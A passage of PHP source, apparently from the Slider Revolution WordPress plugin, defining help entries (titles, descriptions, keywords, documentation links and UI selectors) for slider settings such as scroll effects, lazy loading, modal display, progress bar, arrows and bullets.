									$a => $u . "parallax-3d-effect/",
									$hl => array(
										$dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')),
										$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", 
										$st => '#form_slidergeneral_effects_scroll_dependencies', 
										$f => "#sr_screff_tilt"
									)
								),
								'multiple_bg' => array(
									$t => __("BG Strength", 'revsliderhelp'),
									$h => "scrolleffects.multiplicator",
									$k => array("scroll", "scroll effects", "multiple factor"),
									$d => __("The strength of the opacity, blur or grayscale filter for the effect(s) for the Slide's main background", 'revsliderhelp'),
									$a => $u . "parallax-3d-effect/",
									$hl => array(
										$dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')),
										$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", 
										$st => '#form_slidergeneral_effects_scroll_dependencies', 
										$f => "#sr_screff_multiplicator"
									)
								),
								'multiple_layers' => array(
									$t => __("Layers Strength", 'revsliderhelp'),
									$h => "scrolleffects.multiplicatorLayers",
									$k => array("scroll", "scroll effects", "multiple factor"),
									$d => __("The strength of the opacity, blur or grayscale filter for the effect(s) for the Slide's Layers", 'revsliderhelp'),
									$a => $u . "parallax-3d-effect/",
									$hl => array(
										$dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')),
										$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", 
										$st => '#form_slidergeneral_effects_scroll_dependencies', 
										$f => "#sr_screff_multiplicatorLayers"
									)
								)
							)
						)
					),
					'addons' => array(),
					'gst_sl_10' => array(
						'lazy_loading' => array(
							$t => __("Lazy Loading", 'revsliderhelp'),
							$h => "general.lazyLoad",
							$k => array("lazy", "lazy load", "lazy loading"),
							$d => __("Choose 'All' to LazyLoad all images in the Slider when the Slider first loads, 'Smart' to only LazyLoad the prev/next Slide's images, and 'Single' to only LazyLoad the current Slide's images.", 'revsliderhelp'),
							$a => $u . "advanced-module-settings/",
							$hl => array($m => "#module_settings_trigger, #gst_sl_10", $st => '#form_slidergeneral_advanced_loading', $f => "#sr_adv_performance_load")
						),
						'bgdpr' => array(
							$t => __("Device Pixel Ratio", 'revsliderhelp'),
							$h => "general.DPR",
							$k => array("dpr", "device aspect ratio", "image quality", "background", "blurry"),
							$d => __("Allows to use higher DPR on 4k, 5k , Retina displays.  Higher Maximum value can have negativ influence on complex Canvas animations. Lower Value can have negative influence on Image Quality on 4K+ Devices. In cae animations or Pan Zoom are not smooth, try lower DPR, and incase BG Image blurry, try higher DPR.", 'revsliderhelp'),
							$a => $u . "advanced-module-settings/",
							$hl => array($m => "#module_settings_trigger, #gst_sl_10", $st => '#form_slidergeneral_advanced_loading', $f => "#sliderbgdpr")
						),
						'simplify' => array(
							$t => __("Simplify on IOS4/IE8", 'revsliderhelp'),
							$h => "troubleshooting.simplify_ie8_ios4",
							$k => array("fallback", "simplify", "simplify on", "simplify animations"),
							$d => __("Simplify Animations for better compatibility with IOS4/IE8", 'revsliderhelp'),
							$a => $u . "advanced-module-settings/",
							$hl => array($m => "#module_settings_trigger, #gst_sl_10", $st => '#form_slidergeneral_advanced_loading', $f => "#sr_simplify_ie8_ios4")
						),
						'alt_image' => array(
							$di => "slider_troubleshooting_alternativeimage",
							$t => __("Alternative Image", 'revsliderhelp'),
							$h => "troubleshooting.alternateImageType",
							$k => array("alternative image", "fallback image"),
							$d => __("Show a simple image instead of the Slider on mobile, IE8 or both", 'revsliderhelp'),
							$a => $u . "advanced-module-settings/",
							$hl => array($m => "#module_settings_trigger, #gst_sl_10", $st => '#form_slidergeneral_advanced_loading', $f => "#slider_fallback_alt_image")
						),
						'alt_image_url' => array(
							$t => __("Alternative Image URL", 'revsliderhelp'),
							$h => "troubleshooting.alternateURL",
							$k => array("alternative image", "fallback image", "fallback image url", "fallback url"),
							$d => __("The url for the fallback image if a fallback is used for IE8/Mobile", 'revsliderhelp'),
							$a => $u . "advanced-module-settings/",
							$hl => array(
								$dp => array(array($p => 'settings.troubleshooting.alternateImageType', $v => 'mobile::ie8::mobile-ie8', $o => 'slider_troubleshooting_alternativeimage')),
								$m => "#module_settings_trigger, #gst_sl_10", 
								$st => '#form_slidergeneral_advanced_loading', 
								$f => "#troubleshooting_alternateURL"
							)
						),
						'jquery_noconflict' => array(
							$t => __("jQuery No Conflict Mode", 'revsliderhelp'),
							$h => "troubleshooting.jsNoConflict",
							$k => array("jquery", "jquery noconflict", "no conflict", "jQuery no conflict"),
							$d => __("Call jQuery.noConflict() to help avoid conflicts with other themes/plugins", 'revsliderhelp'),
							$a => $u . "advanced-module-settings/",
							$hl => array($m => "#module_settings_trigger, #gst_sl_10", $st => '#form_slidergeneral_advanced_fallback', $f => "#sr_trbl_conflictmode")
						),
						'js_to_body' => array(
							$t => __("Put JS to Body", 'revsliderhelp'),
							$h => "troubleshooting.jsInBody",
							$k => array("js to body", "js to body", "troubleshooting"),
							$d => __("Load the Slider's JS files in the page's body to help resolve conflicts", 'revsliderhelp'),
							$a => $u . "advanced-module-settings/",
							$hl => array($m => "#module_settings_trigger, #gst_sl_10", $st => '#form_slidergeneral_advanced_fallback', $f => "#sr_trbl_jsInBody")
						),
						'output_filter' => array(
							$t => __("Output Filter Protection", 'revsliderhelp'),
							$h => "troubleshooting.outPutFilter",
							$k => array("output", "output filter"),
							$d => __("Useful for solving a conflict when the current theme runs filters over the page's main content", 'revsliderhelp'),
							$a => $u . "advanced-module-settings/",
							$hl => array($m => "#module_settings_trigger, #gst_sl_10", $st => '#form_slidergeneral_advanced_fallback', $f => "#sr_trbl_filters")
						),
						'debug_mode' => array(
							$t => __("Debug Mode", 'revsliderhelp'),
							$h => "troubleshooting.debugMode",
							$k => array("debug", "debug mode", "troubleshooting"),
							$d => __("Display debug information on the Slider to help show issues during development", 'revsliderhelp'),
							$a => $u . "advanced-module-settings/",
							$hl => array($m => "#module_settings_trigger, #gst_sl_10", $st => '#form_slidergeneral_advanced_fallback', $f => "#sr_trbl_debugMode")
						)
					),
					'gst_sl_11' => array(
						'custom_css' => array(
							$t => __("Custom CSS", 'revsliderhelp'),
							$h => "rs_css_area",
							$k => array("custom css", "css", "add css", "slider css"),
							$d => __("Add your own custom CSS to the Slider", 'revsliderhelp'),
							$a => $u . "advanced-module-settings/",
							$hl => array($m => "#module_settings_trigger, #gst_sl_11, .js_css_editor_tabsarray[data-mode='css']", 'modal' => "css_jquery")
						),
						'custom_js' => array(
							$t => __("Custom JavaScript", 'revsliderhelp'),
							$h => "rs_js_area",
							$k => array("custom js", "javascript", "custom javascript", "jquery", "custom jquery", "jquery"),
							$d => __("Add your own custom JavaScript to the Slider", 'revsliderhelp'),
							$a => $u . "advanced-module-settings/",
							$hl => array($m => "#module_settings_trigger, #gst_sl_11, .js_css_editor_tabsarray[data-mode='javascript']", 'modal' => "css_jquery")
						),
						'slider_api' => array(
							$t => __("Slider API", 'revsliderhelp'),
							$h => "rs_api_area",
							$k => array("custom js", "javascript", "custom javascript", "jquery", "custom jquery", "jquery", "api", "slider api"),
							$d => __("Slider Revolution API methods and events", 'revsliderhelp'),
							$a => $u . "advanced-module-settings/",
							$hl => array($m => "#module_settings_trigger, #gst_sl_11, .js_css_editor_tabsarray[data-mode='javascript'], #form_slidergeneral_advanced_api", 'modal' => "css_jquery")
						)
					),
					'gst_sl_13' => array(
						'modal_align_hor' => array(
							$t => __("Modal Horizontal Alignment", 'revsliderhelp'),
							$h => "modal.horizontal",
							$k => array("modal", "as modal", "alignment", "modal align", "align"),
							$d => __("Choose how the Module should be horizontally aligned to the page when loaded as a Modal", 'revsliderhelp'),
							$a => $u . "as-modal",
							$hl => array($m => "#module_settings_trigger, #gst_sl_13", $st => '#form_slidergeneral_general_as_modal', $f => ".modal_hor_selector.selected")
						),
						'modal_align_ver' => array(
							$t => __("Modal Vertical Alignment", 'revsliderhelp'),
							$h => "modal.vertical",
							$k => array("modal", "as modal", "alignment", "modal align", "align"),
							$d => __("Choose how the Module should be vertically aligned to the page when loaded as a Modal", 'revsliderhelp'),
							$a => $u . "as-modal",
							$hl => array($m => "#module_settings_trigger, #gst_sl_13", $st => '#form_slidergeneral_general_as_modal', $f => ".modal_ver_selector.selected")
						),
						'use_modal_cover' => array(
							$di => 'modal_cover',
							$t => __("Use Cover as Modal", 'revsliderhelp'),
							$h => "modal.cover",
							$k => array("modal", "as modal", "cover", "background"),
							$d => __("Include a background cover when the Module is loaded as a Modal", 'revsliderhelp'),
							$a => $u . "as-modal",
							$hl => array($m => "#module_settings_trigger, #gst_sl_13", $st => '#form_slidergeneral_general_as_modal', $f => "#sr_usemodalcover")
						),
						'modal_cover_color' => array(
							$t => __("Use Cover as Modal", 'revsliderhelp'),
							$h => "modal.coverColor",
							$k => array("modal", "as modal", "cover", "background", "color", "background color", "modal color"),
							$d => __("The background color to be applied when the Module loads as a Modal", 'revsliderhelp'),
							$a => $u . "as-modal",
							$hl => array(
								$dp => array(array($p => 'settings.modal.cover', $v => true, $o => 'modal_cover')),
								$m => "#module_settings_trigger, #gst_sl_13", 
								$st => '#form_slidergeneral_general_as_modal', 
								$f => "#slidermodalcolor"
							)
						),
						'body_class' => array(
							$t => __("Body Class", 'revsliderhelp'),
							$h => "modal.bodyclass",
							$k => array("modal", "as modal", "body class", "modal class", "class"),
							$d => __("Add an optional class name to the page's body element when the Module is loaded as a Modal", 'revsliderhelp'),
							$a => $u . "as-modal",
							$hl => array($m => "#module_settings_trigger, #gst_sl_13", $st => '#form_slidergeneral_general_as_modal', $f => "#sr_modalbodyclass")
						),
						'module_shortcode' => array(
							$t => __("Module Shortcode", 'revsliderhelp'),
							$h => "modalshortcode",
							$k => array("modal", "as modal", "body class", "modal shortcode", "shortcode"),
							$d => __("A special shortcode for the Module when loading it as a Modal in the page with <a href='#'>custom JavaScript</a>", 'revsliderhelp'),
							$a => $u . "as-modal",
							$hl => array($m => "#module_settings_trigger, #gst_sl_13", $st => '#form_slidergeneral_general_as_modal', $f => "#sr_modalshortcode")
						)
					)
				),
				'navigation_settings' => array(
					'gst_nav_1' => array(
						'enable' => array(
							$di => "nav_general_progressbar",
							$t => __("Enable Progress Bar", 'revsliderhelp'),
							$h => "general.progressbar.set",
							$k => array("progress", "progress bar", "enable progress bar", "activate progress"),
							$d => __("Add a progress bar to the Slider to display a visual representation of each Slide's timeline", 'revsliderhelp'),
							$a => $u . "progress-bar/",
							$hl => array(
								$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')),
								$m => "#module_navigation_trigger, #gst_nav_1", 
								$st => '#form_nav_pbara', 
								$f => "#sr_pb_set"
							)
						),
						'color' => array(
							$t => __("Progress Bar Color", 'revsliderhelp'),
							$h => "general.progressbar.color",
							$k => array("progress", "progress bar", "progress bar color"),
							$d => __("Adjust the color for the progress bar", 'revsliderhelp'),
							$a => $u . "progress-bar/",
							$hl => array(
								$dp => array(
									array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
									array($p => 'settings.general.progressbar.set', $v => true, $o => 'nav_general_progressbar')
								),
								$m => "#module_navigation_trigger, #gst_nav_1", 
								$st => '#form_nav_pbara', 
								$f => "#sliderprogresscolor"
							)
						),
						'position' => array(
							$t => __("Progress Bar Position", 'revsliderhelp'),
							$h => "general.progressbar.position",
							$k => array("progress", "progress bar", "progress bar position"),
							$d => __("Choose if the progress bar should appear at the top or bottom of the Slider", 'revsliderhelp'),
							$a => $u . "progress-bar/",
							$hl => array(
								$dp => array(
									array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
									array($p => 'settings.general.progressbar.set', $v => true, $o => 'nav_general_progressbar')
								),
								$m => "#module_navigation_trigger, #gst_nav_1", 
								$st => '#form_nav_pbara', 
								$f => "#sr_pb_pos"
							)
						),
						'height' => array(
							$t => __("Progress Bar Height", 'revsliderhelp'),
							$h => "general.progressbar.height", 					
							$k => array("navigation, nav", "progressbar", "progress", "timer"),
							$d => __("The height of the progress bar in pixels", 'revsliderhelp'),
							$a => $u . "progress-bar/",
							$hl => array(
								$dp => array(
									array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
									array($p => 'settings.general.progressbar.set', $v => true, $o => 'nav_general_progressbar')
								),
								$m => "#module_navigation_trigger, #gst_nav_1", 
								$st => '#form_nav_pbara', 
								$f => "#sr_pb_height"
							)
						)
					),
					'gst_nav_2' => array(
						'enable' => array(
							$di => "nav_arrows",
							$t => __("Enable Arrows", 'revsliderhelp'),
							$h => "nav.arrows.set",
							$k => array("navigation", "arrow", "arrows", "add arrows", "add navigation"),
							$d => __("Enable left/right Arrows for the Slider's navigation", 'revsliderhelp'),
							$a => $u . "navigation-arrows/",
							$hl => array(
								$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')),
								$m => "#module_navigation_trigger, #gst_nav_2", 
								$st => '#form_nav_arrows_mainstyle', 
								$f => "#sr_usenavarrow"
							)
						),
						'type' => array(
							$t => __("Arrows Type/Style", 'revsliderhelp'),
							$h => "nav.arrows.style",
							$k => array("navigation", "arrows", "arrow type", "arrow style", "arrows style", "arrows type"),
							$d => __("Choose a predefined style for the Arrows navigation", 'revsliderhelp'),
							$a => $u . "navigation-arrows/",
							$hl => array(
								$dp => array(
									array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
									array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows')
								),
								$m => "#module_navigation_trigger, #gst_nav_2", 
								$st => '#form_nav_arrows_mainstyle', 
								$f => "#sr_arrows_style"
							)
						),
						'positioning' => array(
							'align_by' => array(
								$t => __("Align By Slider/Content", 'revsliderhelp'),
								$h => "nav.arrows.left.align, nav.arrows.right.align",
								$k => array("arrows", "arrow align", "arrow alignment", "position"),
								$d => __("Choose 'Slider' to align based on the Slider's full display, or 'Content' to align against the Slider's grid area", 'revsliderhelp'),
								$a => $u . "navigation-arrows/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows')
									),
									$m => "#module_navigation_trigger, #gst_nav_2", 
									$st => '#form_nav_arrows_left', 
									$f => "*[name='sr_leftarralign'][value='slider'], *[name='sr_rightarralign'][value='slider']"
								)
							),
							'alignment' => array(
								$t => __("Alignment", 'revsliderhelp'),
								$h => "nav.arrows.left.horizontal, nav.arrows.left.vertical, nav.arrows.right.horizontal, nav.arrows.right.vertical",
								$k => array("arrow align", "arrow alignment", "arrow position", "arrows position", "position"),
								$d => __("The Arrow's alignment position in the Slider before any offset(s) are applied", 'revsliderhelp'),
								$a => $u . "navigation-arrows/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows')
									),
									$m => "#module_navigation_trigger, #gst_nav_2", 
									$st => '#form_nav_arrows_left', 
									$f => "#left_arrow_position_selector_center-center, #right_arrow_position_selector_center-center"
								)
							),
							'offsetx' => array(
								$t => __("Offset X", 'revsliderhelp'),
								$h => "nav.arrows.left.offsetX, nav.arrows.right.offsetX",
								$k => array("arrow position", "arrow offset", "position"),
								$d => __("Offset the Arrow's horizontal position by this amount.  Accepts positive and negative values.", 'revsliderhelp'),
								$a => $u . "navigation-arrows/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows')
									),
									$m => "#module_navigation_trigger, #gst_nav_2", 
									$st => '#form_nav_arrows_left', 
									$f => "#nav_arrows_left_offsetx, #nav_arrows_right_offsetx"
								)
							),
							'offsety' => array(
								$t => __("Offset Y", 'revsliderhelp'),
								$h => "nav.arrows.left.offsetY, nav.arrows.right.offsetY",
								$k => array("arrow position", "arrow offset", "position"),
								$d => __("Offset the Arrow's vertical position by this amount.  Accepts positive and negative values.", 'revsliderhelp'),
								$a => $u . "navigation-arrows/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows')
									),
									$m => "#module_navigation_trigger, #gst_nav_2", 
									$st => '#form_nav_arrows_left', 
									$f => "#nav_arrows_left_offsety, #nav_arrows_right_offsety"
								)
							),
							'animation' => array(
								$t => __("Arrows Animation", 'revsliderhelp'),
								$h => "nav.arrows.left.anim, nav.arrows.right.anim",
								$k => array("arrow animation", "arrows animation", "show arrows", "hide arrows"),
								$d => __("Optionally animate the arrows into and out of view when the slider first loads and on mouse hover", 'revsliderhelp'),
								$a => $u . "navigation-arrows/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows')
									),
									$m => "#module_navigation_trigger, #gst_nav_2", 
									$st => '#form_nav_arrows_left', 
									$f => "#sr_arrowleft_animation, #sr_arrowright_animation"
								)
							)
						),
						'visibility' => array(
							'rtl' => array(
								$t => __("Right to Left", 'revsliderhelp'),
								$h => "nav.arrows.rtl",
								$k => array("rtl", "right to left", "right-to-left"),
								$d => __("Use RTL language alignment for the Arrow positioning", 'revsliderhelp'),
								$a => $u . "navigation-arrows/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows')
									),
									$m => "#module_navigation_trigger, #gst_nav_2", 
									$st => '#form_nav_arrows_visi', 
									$f => "#sr_arrowrtl"
								)
							),
							'show_speed' => array(
								$t => __("Arrows Animation Speed", 'revsliderhelp'),
								$h => "nav.arrows.animSpeed",
								$k => array("arrows visibility", "show speed", "navigation speed"),
								$d => __("The animation speed for when the Arrows animate into and out of view", 'revsliderhelp'),
								$a => $u . "navigation-arrows/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows')
									),
									$m => "#module_navigation_trigger, #gst_nav_2", 
									$st => '#form_nav_arrows_visi', 
									$f => "#nav_arrow_animSpeed"
								)
							),
							'show_delay' => array(
								$t => __("Arrows Show Delay", 'revsliderhelp'),
								$h => "nav.arrows.animDelay",
								$k => array("arrows visibility", "navigation delay"),
								$d => __("A delay in milliseconds before the Arrows animate into view", 'revsliderhelp'),
								$a => $u . "navigation-arrows/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows')
									),
									$m => "#module_navigation_trigger, #gst_nav_2", 
									$st => '#form_nav_arrows_visi', 
									$f => "#nav_arrow_animDelay"
								)
							),
							'hide_after' => array(
								$di => "nav_arrows_hide_after",
								$t => __("Hide After", 'revsliderhelp'),
								$h => "nav.arrows.alwaysOn",
								$k => array("arrows visibility", "hide after"),
								$d => __("Auto-hide the arrows after a set amount of time (will be shown again when the user hovers/taps the Slider)", 'revsliderhelp'),
								$a => $u . "navigation-arrows/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows')
									),
									$m => "#module_navigation_trigger, #gst_nav_2", 
									$st => '#form_nav_arrows_visi', 
									$f => "#sr_arrowsalwshow"
								)
							),
							'hide_after_desktop' => array(
								$t => __("Hide After: Desktop", 'revsliderhelp'),
								$h => "nav.arrows.hideDelay",
								$k => array("arrows visibility", "hide after", "hide after desktop"),
								$d => __("The amount of the time before the Arrows are hidden on Desktop computers (in milliseconds)", 'revsliderhelp'),
								$a => $u . "navigation-arrows/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows'),
										array($p => 'settings.nav.arrows.alwaysOn', $v => true, $o => 'nav_arrows_hide_after')
									),
									$m => "#module_navigation_trigger, #gst_nav_2", 
									$st => '#form_nav_arrows_visi', 
									$f => "#nav_arrows_hideDelay"
								)
							),
							'hide_after_mobile' => array(
								$t => __("Hide After: Mobile", 'revsliderhelp'),
								$h => "nav.arrows.hideDelayMobile",
								$k => array("arrows visibility", "hide after", "hide after desktop"),
								$d => __("The amount of the time before the Arrows are hidden on mobile devices (in milliseconds)", 'revsliderhelp'),
								$a => $u . "navigation-arrows/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows'),
										array($p => 'settings.nav.arrows.alwaysOn', $v => true, $o => 'nav_arrows_hide_after')
									),
									$m => "#module_navigation_trigger, #gst_nav_2", 
									$st => '#form_nav_arrows_visi', 
									$f => "#nav_arrows_hideDelayMobile"
								)
							),
							'hide_under' => array(
								$di => "nav_arrows_hideunder",
								$t => __("Hide Under", 'revsliderhelp'),
								$h => "nav.arrows.hideUnder",
								$k => array("arrows visibility", "hide under", "hide under width"),
								$d => __("Hide the Arrows when the browser window is equal to or below a certain number", 'revsliderhelp'),
								$a => $u . "navigation-arrows/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows')
									),
									$m => "#module_navigation_trigger, #gst_nav_2", 
									$st => '#form_nav_arrows_visi', 
									$f => "#sr_arrowshideunder"
								)
							),
							'hide_under_limit' => array(
								$t => __("Hide Under Limit", 'revsliderhelp'),
								$h => "nav.arrows.hideUnderLimit",
								$k => array("arrows visibility", "hide under", "hide under limit"),
								$d => __("Hide the Arrows when the browser window is equal to or below this number", 'revsliderhelp'),
								$a => $u . "navigation-arrows/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows'),
										array($p => 'settings.nav.arrows.hideUnder', $v => true, $o => 'nav_arrows_hideunder')
									),
									$m => "#module_navigation_trigger, #gst_nav_2", 
									$st => '#form_nav_arrows_visi', 
									$f => "#nav_arrows_hideunderlimit"
								)
							),
							'hide_over' => array(
								$di => "nav_arrows_hideover",
								$t => __("Hide Over", 'revsliderhelp'),
								$h => "nav.arrows.hideOver",
								$k => array("arrows visibility", "hide over", "hide over limit"),
								$d => __("Hide the Arrows when the browser window is equal to or above a certain number", 'revsliderhelp'),
								$a => $u . "navigation-arrows/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows')
									),
									$m => "#module_navigation_trigger, #gst_nav_2", 
									$st => '#form_nav_arrows_visi', 
									$f => "#sr_arrowshideover"
								)
							),
							'hide_over_limit' => array(
								$t => __("Hide Over Limit", 'revsliderhelp'),
								$h => "nav.arrows.hideOverLimit",
								$k => array("arrows visibility", "hide over", "hide over limit"),
								$d => __("Hide the Arrows when the browser window is equal to or above this number", 'revsliderhelp'),
								$a => $u . "navigation-arrows/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows'),
										array($p => 'settings.nav.arrows.hideUnder', $v => true, $o => 'nav_arrows_hideover')
									),
									$m => "#module_navigation_trigger, #gst_nav_2", 
									$st => '#form_nav_arrows_visi', 
									$f => "#nav_arrows_hideoverlimit"
								)
							)
						)
					),
					'gst_nav_3' => array(
						'enable' => array(
							$di => "nav_bullets",
							$t => __("Enable Bullets", 'revsliderhelp'),
							$h => "nav.bullets.set",
							$k => array("navigation", "bullet", "bullets", "add bullets", "add navigation"),
							$d => __("Enable Bullets for the Slider's navigation", 'revsliderhelp'),
							$a => $u . "navigation-bullets/",
							$hl => array(
								$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')),
								$m => "#module_navigation_trigger, #gst_nav_3", 
								$st => '#form_nav_bullets_mainstyle', 
								$f => "#sr_usenavbullets"
							)
						),
						'type' => array(
							$t => __("Bullets Type/Style", 'revsliderhelp'),
							$h => "nav.bullets.style",
							$k => array("navigation", "bullets", "bullet type", "bullet style", "bullets style", "bullets type"),
							$d => __("Choose a predefined style for the Bullets navigation", 'revsliderhelp'),
							$a => $u . "navigation-bullets/",
							$hl => array(
								$dp => array(
									array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
									array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets')
								),
								$m => "#module_navigation_trigger, #gst_nav_3", 
								$st => '#form_nav_bullets_mainstyle', 
								$f => "#sr_bullets_style"
							)
						),
						'positioning' => array(
							'gap' => array(
								$t => __("Gap/Spacing", 'revsliderhelp'),
								$h => "nav.bullets.space",
								$k => array("bullets spacing", "bullet spacing", "gap", "spacing", "bullet gap", "bullets spacing", "bullet space", "bullets space"),
								$d => __("The spacing between the bullets (in pixels)", 'revsliderhelp'),
								$a => $u . "navigation-bullets/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets')
									),
									$m => "#module_navigation_trigger, #gst_nav_3", 
									$st => '#form_nav_bullets_posi', 
									$f => "#nav_bullets_space"
								)
							),
							'orientation' => array(
								$t => __("Orientation", 'revsliderhelp'),
								$h => "nav.bullets.direction",
								$k => array("bullets orientation", "bullet orientation", "gap", "orientation", "bullet horizontal", "bullets horizontal", "bullet vertical", "bullets veritcal"),
								$d => __("Display the bullets next to one another (horizontal) or on top of one another (vertical)", 'revsliderhelp'),
								$a => $u . "navigation-bullets/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets')
									),
									$m => "#module_navigation_trigger, #gst_nav_3", 
									$st => '#form_nav_bullets_posi', 
									$f => "*[name='sr_bulletdirection'][value='horizontal']"
								)
							),
							'align_by' => array(
								$t => __("Align By Slider/Content", 'revsliderhelp'),
								$h => "nav.bullets.align",
								$k => array("bullets", "bullet align", "bullet alignment"),
								$d => __("Choose 'Slider' to align based on the Slider's full display, or 'Content' to align against the Slider's grid area", 'revsliderhelp'),
								$a => $u . "navigation-bullets/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets')
									),
									$m => "#module_navigation_trigger, #gst_nav_3", 
									$st => '#form_nav_bullets_posi', 
									$f => "*[name='sr_bulletsalign'][value='slider']"
								)
							),
							'alignment' => array(
								$t => __("Alignment", 'revsliderhelp'),
								$h => "nav.bullets.horizontal, nav.bullets.vertical",
								$k => array("bullet align", "bullet alignment", "bullet position", "bullets position"),
								$d => __("The Bullet's alignment position in the Slider before any offset(s) are applied", 'revsliderhelp'),
								$a => $u . "navigation-bullets/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets')
									),
									$m => "#module_navigation_trigger, #gst_nav_3", 
									$st => '#form_nav_bullets_posi', 
									$f => "#bulletspos_selector_center-center"
								)
							),
							'offsetx' => array(
								$t => __("Offset X", 'revsliderhelp'),
								$h => "nav.bullets.offsetX",
								$k => array("bullet position", "bullet offset"),
								$d => __("Offset the Bullet's horizontal position by this amount.  Accepts positive and negative values.", 'revsliderhelp'),
								$a => $u . "navigation-bullets/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets')
									),
									$m => "#module_navigation_trigger, #gst_nav_3", 
									$st => '#form_nav_bullets_posi', 
									$f => "#nav_bullets_offsetx"
								)
							),
							'offsety' => array(
								$t => __("Offset Y", 'revsliderhelp'),
								$h => "nav.bullets.offsetY",
								$k => array("bullet position", "bullet offset"),
								$d => __("Offset the Bullet's vertical position by this amount.  Accepts positive and negative values.", 'revsliderhelp'),
								$a => $u . "navigation-bullets/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets')
									),
									$m => "#module_navigation_trigger, #gst_nav_3", 
									$st => '#form_nav_bullets_posi', 
									$f => "#nav_bullets_offsety"
								)
							)
						),
						'visibility' => array(
							'rtl' => array(
								$t => __("Right to Left", 'revsliderhelp'),
								$h => "nav.bullets.rtl",
								$k => array("rtl", "right to left", "right-to-left"),
								$d => __("Use RTL language alignment for the Arrow positioning", 'revsliderhelp'),
								$a => $u . "navigation-bullets/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'),
										array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets')
									),
									$m => "#module_navigation_trigger, #gst_nav_3", 
									$st => '#form_nav_bullets_visi', 
									$f => "#sr_bulletrtl"
								)
							),
							'animation' => array(
